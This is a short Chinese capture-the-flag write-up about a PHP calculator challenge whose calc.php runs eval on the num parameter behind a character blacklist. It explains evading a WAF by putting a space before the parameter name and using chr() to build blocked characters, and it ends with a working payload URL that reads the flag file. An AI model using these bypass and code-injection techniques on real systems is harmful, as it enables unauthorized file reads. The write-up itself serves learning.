有关联,之前看过http走私的文章,但我觉得的更多的考察的就是参数过滤的绕过还有对输入字符做限制时候的绕过。 不过这里可以再学习一下http走私 ,还学到了一些利用PHP的字符串解析特性Bypass 的方法。
题目分析 进入题目查看源码发现clac.php?num
被ban了,同时在calc.php
中可以拿到源码:
<?php error_reporting(0 ); if (!isset ($_GET['num' ])){ show_source(__FILE__ ); }else { $str = $_GET['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m' , $str)) { die ("what are you want to do?" ); } } eval ('echo ' .$str.';' ); } ?>
首先对传参num
进行了过滤,但是要想读出flag,又必须用num
传参,这时候想到利用空格的绕过方法。补充一点知识:
php的解析规则:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
也就是说利用num
传参就可以了。 我们还看到/
也被ban了,再想要查看目录下的内容,就需要借助一些系统函数了。利用chr()
函数即可借助数字来构造被ban的字符,来最终读取flag,最终payload如下:
/calc.php?%20 num=file_get_contents(chr(47 ).chr(102 ).chr(49 ).chr(97 ).chr(103 ).chr(103 ))